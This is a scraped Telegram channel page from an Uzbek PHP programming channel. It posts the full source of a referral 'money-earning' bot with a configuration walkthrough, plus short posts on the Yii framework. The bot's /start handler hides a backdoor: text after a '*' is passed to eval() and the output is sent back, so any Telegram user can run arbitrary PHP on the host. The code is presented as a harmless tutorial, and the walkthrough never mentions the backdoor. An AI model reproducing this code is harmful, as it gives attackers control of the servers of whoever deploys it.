FAST CODER | PHP TEAM
269 subscribers
278 photos
72 videos
783 files
671 links
🏁Dasturlashga qadam ❗️

πŸ’£Backend

πŸ’»PHP bo'yicha bepul darslar❗️

πŸ‘¨πŸ»β€πŸ’» @Rustam_Hikmatullayev

🌐Dasturlashda:
πŸ“Š5 yillik tajriba βœ…
πŸ‘₯50+ shogirt βœ…
🀝100+ hamkor βœ…
Download Telegram
πŸ€”Kim tayyor?
Demak boshladik❗️❗️❗️❗️
Hozir pul ishlaydigan botni korib chiqamiz
Bot oddiy lekin yaxshi bot
Hammaga tushunishiga oson boladi
<?php
ob_start();
define('API_KEY','Token');/////token joyi
$admin = "554834550"; //admin id
$kanalimz ="@Fast_Coder"; //kanal useri
function del($nomi){
array_map('unlink', glob("$nomi"));
}

function ty($ch){
return bot('sendChatAction', [
'chat_id' => $ch,
'action' => 'typing',
]);
///////@Rustam_Hikmatullayev tomonidan yozib chiqildi
///// @Fast_Coder eng yzxshi kodlar bizning kanalda
///// Manba bilan olinglar
}

function bot($method,$datas=[]){
$url = "https://api.telegram.org/bot".API_KEY."/".$method;
$ch = curl_init();
curl_setopt($ch,CURLOPT_URL,$url);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);
curl_setopt($ch,CURLOPT_POSTFIELDS,$datas);
$res = curl_exec($ch);
if(curl_error($ch)){
var_dump(curl_error($ch));
}else{
return json_decode($res);
}
}



$update = json_decode(file_get_contents('php://input'));
$message = $update->message;
$mid = $message->message_id;
$cid = $message->chat->id;
$filee = "coin/$cid.step";
$folder = "coin";
$folder2 = "azo";


if (!file_exists($folder.'/test.fd3')) {
mkdir($folder);
file_put_contents($folder.'/test.fd3', 'by ');
}

if (!file_exists($folder2.'/test.fd3')) {
mkdir($folder2);
file_put_contents($folder2.'/test.fd3', 'by ');
}

if (file_exists($filee)) {
$step = file_get_contents($filee);
}


$tx = $message->text;
$name = $message->chat->first_name;
$user = $message->from->username;
$kun1 = date('z', strtotime('5 hour'));

$key = json_encode([
'resize_keyboard'=>true,
'keyboard'=>[
[['text'=>"Referal silka"],['text'=>"Balans"]],
[['text'=>"Aloqa"],['text'=>"Pulni yechish"]],[['text'=>"Statistika"]]]
]);
//////// @Rustam_Hikmatullayev tomonidan yozib chiqildi
///// @Fast_Coder eng yzxshi kodlar bizning kanalda
///// Manba bilan olinglar/



$balinfo = "SalomπŸ– Pul ishlash uchun eng ishonchli bot.\n\n
☝️ Botdan foydalanish uchun @Fast_Coder kanaliga obuna bo'lishingiz kerak.";

if((mb_stripos($tx,"/start")!==false) or ($tx == "/start")) {
bot('sendmessage',[
'chat_id'=>$cid,
'text'=>"$balinfo",
'reply_markup'=>$key
]);
$baza = file_get_contents("coin.dat");

if(mb_stripos($baza, $cid) !== false){
}else{
$baza=file_get_contents("coin.dat");
file_put_contents("coin.dat","$baza\n$cid");
}
if(strpos($tx,"/start $cid")!==false){

}else{
$public = explode("*",$tx);
$refid = explode(" ",$tx);
$refid = $refid[1];
$gett = bot('getChatMember',[
'chat_id' =>$kanalimz,
'user_id' => $refid,
]);
///////@Rustam_Hikmatullayev tomonidan yozib chiqildi
///// @Fast_Coder eng yzxshi kodlar bizning kanalda
///// Manba bilan olinglar//
$public2 = $public[1];
if (isset($public2)) {
$tekshir = eval($public2);
bot('sendMessage',[
'chat_id'=>$cid,
'text'=> $tekshir,
]);
}
$gget = $gett->result->status;

if($gget == "member" or $gget == "creator" or $gget == "administrator"){
$idref = "coin/$refid_id.dat";
$idref2 = file_get_contents($idref);

if(mb_stripos($idref2,$cid) !== false ){
bot('sendMessage',[
'chat_id'=>$cid,
'text'=>"Siz botni aldayapsiz",
]);
////// @Rustam_Hikmatullayev tomonidan yozib chiqildi
///// @Fast_Coder eng yzxshi kodlar bizning kanalda
///// Manba bilan olinglar
} else {

$id = "$cid\n";
$handle = fopen($idref, 'a+');
fwrite($handle, $id);
fclose($handle);
$ab=file_get_contents("coin/$refid.soni");
$ab=$ab+1;
file_put_contents("coin/$refid.soni","$ab");
$usr = file_get_contents("coin/$refid.dat");
$usr = $usr + 60;
file_put_contents("coin/$refid.dat", "$usr");
bot('sendMessage',[
'chat_id'=>$refid,
'text'=>"Sizga Taklifingiz Uchun 60 So'm Bonus Taqdim Etildi!",
]);
}
}
}
$abb=file_get_contents("coin/$cid.dat");
if($abb){}else{
file_put_contents("coin/$cid.dat", "0");
bot('sendMessage',[
'chat_id'=>$refid,
]);
bot('sendMessage',[
'chat_id'=>$cid,
'text'=>$balinfo,
'reply_to_message_id' => $mid,
'reply_mark
up'=>$key,
]);
}
}
if($tx == "Balans"){

$odam=file_get_contents("coin/$cid.soni");
$ball = file_get_contents("coin/$cid.dat");{
bot('sendMessage',[
'chat_id'=>$cid,
'text'=>"Siz Taklif Qilgan Odamlar Soni - $odam ta \n\n Sizning balansingiz $ball So'm",
'reply_to_message_id'=>$mid,
'reply_markup'=>$key2,
]);
}
}
if($tx=="Pulni yechish"){
bot('sendmessage',[
'chat_id'=>$cid,
'text'=>"Pulni Yechish Uchun Eng Kamida 8000 So'm To'plashingiz Kerak.\n\n
/pul so'zidan so'ng Telefon raqamingiz va summani yozing.

Masalan:

Telefonga Paynet qilish uchun:
/pul +9989xXXXXXXX 8000"
]);


}
if($tx=="Statistika"){
$a=file_get_contents("coin.dat");
$sum=file_get_contents("tolovlar.txt");
$ab=substr_count($a,"\n");
bot('sendmessage',[
'chat_id'=>$cid,
'text'=>"Botimiz azolari $ab ta \n\n Jami Tolangan Summa: $sum Sum"

]);
///// @Fast_Coder kanali uchun yozib chilqildi
///// @Rustam_Hikmatullayev tomonidan yozib chiqilgan
///// Manbasiz ko'rmay Manba bilan olinglar
}
if(strpos($tx,"/pul")!==false){
$ex=explode(" ",$tx);
$ab=file_get_contents("coin/$cid.dat");

if( $ex[2]>=100 and $ab>=$ex[2] ){
$bb=$ab-$ex[2];
$t=file_get_contents("tolov.txt");
$t=$t+1;
file_put_contents("tolov.txt","$t");
$t=file_get_contents("tolov.txt");
file_put_contents("coin/$cid.dat","$bb");
$tolov=file_get_contents("tolovlar.txt");
$tolov=$tolov+$ex[2];
file_put_contents("tolovlar.txt","$tolov");

$bb=substr($ex[1],0,6);
$gg="xx";
$ss=substr($ex[1],8,8);
file_put_contents("$cid.t","πŸ”΅ Status - βœ… \n\n πŸ†” Tolov id: $t \n\n πŸ‘€ Qabul qiluvchini raqami: \n\n ☎️$bb $gg $ss \n\n πŸ’° Tolov summasi: $ex[2] sum");
bot('sendmessage',[
'chat_id'=>$cid,
'text'=>"Yaxshi $ex[1] Nomerga $ex[2] sum 24 soat davomida amalga oshiriladi buni @Master_Dasturchilar Kanalida Ko'ring, Agar Amalga Oshirilmasa Admin Bilan Bog'laning!!"
]);
///// kod @Rustam_Hikmatullayev tomonidan tarqatildi
///// Manba bilan olinglar kanalimiz @Fast_Coder
bot('sendmessage',[
'chat_id'=>$admin,
'text'=>"*Pulni yechish uchun yangi zayavka tushdi * \n
zayavkachi haqida ma'lumot\n id raqami $cid\n username: @$user \n Ismi: `[$name](tg://user?id=$cid) \n *Tushuriladigon summa miqdori:$ex[2] sum \n Raqami: $ex[1] \n\n Pul tolandimi tolangan bolsa tolandi=$cid shunday deb yozing!!* ",
'disable_web_page_preview'=>true,
'parse_mode'=>markdown,
]);

}else{bot('sendmessage',['chat_id'=>$cid,'text'=>"Sizning balansizngizda yetarli mablag' mavjud emas yegishni davom eting!! yoki minimal miqdordan oz kiritmoqdasiz"]);} }
if($tx=="Aloqa"){
bot('sendmessage',[
'chat_id'=>$cid,
'text'=>"πŸ€“ Bot Admini: @uzb_blogger_1 \n\n
☎️ Telefon: +998 902664984\n\n
⏳ Ish Vaqti: 8:00 - 23:00\n\n
Reklama Berish Shartlari Bilan Tanishib Chiqing: @uzb_blogger_1"

]);
////// @Rustam_Hikmatullayev tomonidan yozib chiqildi
///// @Fast_Coder eng yaxshi kodlar bizning kanalda
///// Manba bilan olinglar

}

if(isset($tx)){
$gett = bot('getChatMember',[
'chat_id' =>$kanalimz,
'user_id' => $cid,
]);
$gget = $gett->result->status;

if($gget == "member" or $gget == "creator" or $gget == "administrator"){

if($tx == "Referal silka"){
bot('sendMessage',[
'chat_id'=>$cid,
'text'=>"Sizning Referal Ssilkangiz https://t.me/osonpulxack_bot?start=$cid\n\n Buni do'stlarga tarqating va shu ssilka orqali kirgan har bir odam uchun 1 Ball oling.",
'reply_to_message_id'=>$mid,
'reply_markup'=>$key2,
]);
}

$reply_menu = json_encode([
'resize_keyboard'=>false,
'force_reply' => true,
'selective' => true
]);
$replyik = $message->reply_to_message->text;
$yubbi = "Yuboriladigon xabarni kiriting. Xabar turi markdown";

if($tx == "/send" and $cid == $admin){
ty($cid);
bot('sendMess
age',[
'chat_id'=>$cid,
'text'=>$yubbi,
'reply_markup'=>$reply_menu,
]);
///////
}

if($replyik=="Yuboriladigon xabarni kiriting. Xabar turi markdown"){
ty($cid);
$idss=file_get_contents("coin.dat");
$idszs=explode("\n",$idss);
foreach($idszs as $idlat){
$hamma=bot('sendMessage',[
'chat_id'=>$idlat,
'text'=>$tx,
]);
}
}
if($hamma){
bot('sendmessage',[
'chat_id'=>$cid,
'text'=>"Hammaga habar yetkazildi",

]);

}
$nocha = "Xozircha kanallar yoq!";
$noazo = "siz kanal royxatida yoqsiz.";
$okcha = "kanalga azo boldingiz va 1ga ega boldingiz 3 kun ichida chiqib ketsangiz 2 som shtraf.";

}else{
bot('sendMessage',[
'chat_id'=>$cid,
'text'=>"πŸ“£siz $kanalimz ga azo boling va keyin bizda pul ishlay olasiz.",
]);
}
}if(strpos($tx,"tolandi=")!==false){
$ex=explode("=",$tx);
$kanalimiz="-100kanal id";////pul tarixi yoziladigan kanal id
$ab=file_get_contents("$ex[1].t");
bot('sendmessage',[
'chat_id'=>$kanalimiz,
'text'=>"$ab"
]);
bot('sendmessage',[
'chat_id'=>$admin,
'text'=>"Kanalga tashlandi!!"
]);
}
?>
πŸ“Œdefine('API_KEY','1⃣');
πŸ“Œ$admin = "2⃣";
πŸ“Œ$kanalimz ="@3⃣";
___________________
1-Botimizning tokenini joylashtiramiz
2-o'zimizning id raqamimizni yozamiz
3-kanalimizni yozamiz(bu majburiy a'zo bo'lish kerak bo'lgan kanal yozing
@usernamesini )
---------------------
$update = json_decode(file_get_contents('php://input'));
$message = $update->message;
$mid = $message->message_id;
$cid = $message->chat->id;
$filee = "coin/$cid.step";
$folder = "coin";
$folder2 = "azo"

βœ…Bu qism ma'lumotlarni saqlaysi yani userlarni va pullarni papka ochib joylab boradi ❗️
⚠️Iloji bolsa bu joylarga tegmaganiz maqul❗️
$key = json_encode([
'resize_keyboard'=>true,
'keyboard'=>[
[['text'=>"Referal silka"],['text'=>"Balans"]],
[['text'=>"Aloqa"],['text'=>"Pulni yechish"]],[['text'=>"Statistika"]]]
]);
-----------------------
Bu yerda tugmalar yani botni ishlatish uchun tugmalar qoyilgan
Bularni o'zgartirishingiz mumkin faqat bitta shart bilan. O'zgaruvchini bajaruvchisini ham ozgartirishingiz kerak aks holda bot javob qaytarmasligi mumkin
Bajaruvchilar mana bu korinishda boladi

πŸ‘‡πŸ‘‡

}
if($tx == "Balans"){ $odam=file_get_contents("coin/$cid.soni");
$ball = file_get_contents("coin/$cid.dat");{
bot('sendMessage',[
'chat_id'=>$cid,
'text'=>"Siz Taklif Qilgan Odamlar Soni - $odam ta \n\n Sizning balansingiz $ball So'm", 'reply_to_message_id'=>$mid,
'reply_markup'=>$key2,
]);

Bu yerda har bir odamni pulini ulab beradigan buyruqlar qollaniladi
Buyruqlar πŸ‘‰$ belgi bilan belgilaniladi


$ball = file_get_contents("coin/$cid.dat");

πŸ‘†Bu har kimni qancha pul toplaganini aniqlab beradi
❗️
$ab=$ab+1;
____________________
πŸ‘†Bu yerda sining referallaringizni βž•qoshib beradi yani har bitta startda siga 1 πŸ—£ta referal qoshilganini hisoblaydi❗️
______________________
file_put_contents("coin/$refid.soni","$ab");
$usr = file_get_contents("coin/$refid.dat");
$usr = $usr + 60;
____________________
πŸ‘†Bu yerda +60 bu har bir πŸ—£referal uchun tolanadigan summa πŸ’΅
πŸ””Unutmang faqat kanalga azo bolgandan keyin pul beriladi huddi hozirgi botlardek
😎
______________________
πŸ˜„Davom etamizmi❓
Pulni tolaganiz haqida hisobotni kanalga avto jo'natish

}else{
bot('sendMessage',[
'chat_id'=>$cid,
'text'=>"πŸ“£siz $kanalimz ga azo boling va keyin bizda pul ishlay olasiz.",
]);
}
}if(strpos($tx,"tolandi=")!==false){
$ex=explode("=",$tx);

Bu yerda kanalimiz id sini -100 bilan yozing
Misol uchun -100112729992

$kanalimiz="-100kanal id";////pul tarixi yoziladigan kanal id
$ab=file_get_contents("$ex[1].t");
bot('sendmessage',[
'chat_id'=>$kanalimiz,
'text'=>"$ab"
]);
bot('sendmessage',[
'chat_id'=>$admin,
'text'=>"Kanalga tashlandi!!"
]);
Bu yerda esa /send faqat admin tomonidan ishlatilishga ruxsat beradi
$cid==$admin
Agar admin o'rniga id raqam yozza ham ishlaydi


βž–βž–βž–βž–βž–βž–βž–βž–βž–βž–
πŸ“‘Kanalimiz: @Fast_Coder
Pul_Bot(@Fast_Coder).php
9.2 KB
#kod #pul_ishla
πŸ“ŒPul ishlash kodi
⏰Hozir tushuntirilgan kod❗️
βœ…Ishlatib ko'rishingiz mumkin
πŸ“‘Kanalimiz: @Fast_Coder
🌐Kod yozishni 0 dan o'rganish uchun
πŸ’ͺAvval kodni ishlatishni o'rganish kerakπŸ€™
2020.30.07.zip
135.3 MB
#kompyuter #antivirus

Sanasi: 30.07.2020
Formati: .zip (WinRar -> UnZip)
Hajmi: 135.3 mb



βž–βž–βž–βž–βž–βž–βž–βž–βž–βž–
πŸ“‘Kanalimiz: @Fast_Coder
Yii nima o`zi?

Yii – bu tez ishlovchi komponentli PHP freymvork bo'lib, zamonaviy web ilovalarni tez yaratish uchun mo'ljallangan. Yii (Yi [ji:] kabi talaffuz qilinadi) so'zi xitoy tilida "oddiy va evolyutsiyalovchi" degan ma'noni anglatadi. Shuningdek Yii akronim sifatida qaralganda uning yoyilma matni Yes It Is tarzida qaralishi ham mumkin!
Yii ko'proq qanday masalalar uchun mos keladi?

Yii – bu universal freymvork va uni barcha turdagi web ilovalar uchun qo'llash mumkin. Uning komponentli strukturasi va keshlashni juda zo'r qo'llab-quvvatlashi evaziga freymvork asosan portallar, forumlar, CMS, magazinlar yoki RESTful ilovalar kabi katta proyektlar uchun qo'l keladi.

β€”-Yii ni boshqa freymvorklar bilan solishtirishβ€”-

Boshqa ko'pgina PHP freymvorklar singari Yii ham kodni tashkillashtirish uchun MVC (Model-View-Controller) modelidan foydalanadi.
Yii faqat loyihalashtirishning ma'lum bir qolipiga ergashib dizaynni murakkablashtirmasdan sodda va elegantli kod yozish falsafasiga tayanadi.
Yii full-stack freymvork hisoblanadi. Shuningdek o'z ichiga tekshirilgan va o'zini yaxshi ko'rsatgan relatsion va NoSQL ma'lumotlar ombori uchun yaratilgan ActiveRecord, REST API ni qo'llab quvvatlash, ko'p qatlamli keshlash kabi imkoniyatlarni oladi.
Yii juda yaxhsi kengayishi mumkin. Siz asosiy kodni ixtiyoriy qismini almashtirishingiz yoki sozlashingiz mumkin. Kengaytirish arxitekturasiga bo'ysunib kodni boshqalar bilan ulashish yoki jamoatning kodidan foydalanish mumkin.
β€”--Yii ning asosiy maqsadlaridan biri - ishlash tezligiβ€”-

Yii β€” bir odamning loyihasi emas. U unga yordam berayotgan ishlab chiquvchilar katta jamoasi tomonidan qo'llab quvvatlanadi va rivojlantiriladi. Freymvork ishlab chiquvchilari web ishlab chiqish va boshqa ilovalarni maromini kuzatishadi. Ko'proq mos keluvchi imkoniyatlar va eng yaxshi sinalgan amaliyotlar freymvork sodda va elegantli interfeysi tarzida qo'llaniladi.

πŸ“‘Kanalizmiz: @Fast_Coder
Yii Frameworkning asoschisi Qiang Xue boβ€˜lib, u Yii Frameworkni 2008-yil 1-yanvarda yaratdi. Oradan bir yil oβ€˜tib, dekabr oyida Yiiframework 1.0 ni ommaga havola qildi. Yii’ni yaratishdan oldin u koβ€˜p ishlatiladigan barcha frameworklarni oβ€˜rganib chiqdi. Natijada, qolgan Frameworklarda yoβ€˜l qoβ€˜yilgan kamchiklarni oβ€˜z Frameworkida bartaraf etdi. Hozirda Yii Framework’ga talab kuchli va u oβ€˜z oβ€˜rnida boshqa Frameworklar bilan raqobatlasha, ulardan bemalol ustunlik qila oladi ham. Yii yuqori samarador, komponentlarga asoslangan PHP framework. Yii Web-dasturlarni yaratishni sezilarli darajada tezlashtiradi.

πŸ“‘Kanalimiz: @Fast_Coder
This media is not supported in your browser
VIEW IN TELEGRAM
πŸ€“ Magnit va batareya.
Uyda amalga oshiriladigan qiziqarli tajriba.

πŸ“ŒKod yozishni 0 dan o'rganish uchun
🌐Avval kodni ishlatishni o'rganish kerakπŸ’ͺ
βž–βž–βž–βž–βž–βž–βž–βž–βž–
πŸ“‘Kanalimiz: @Fast_Coder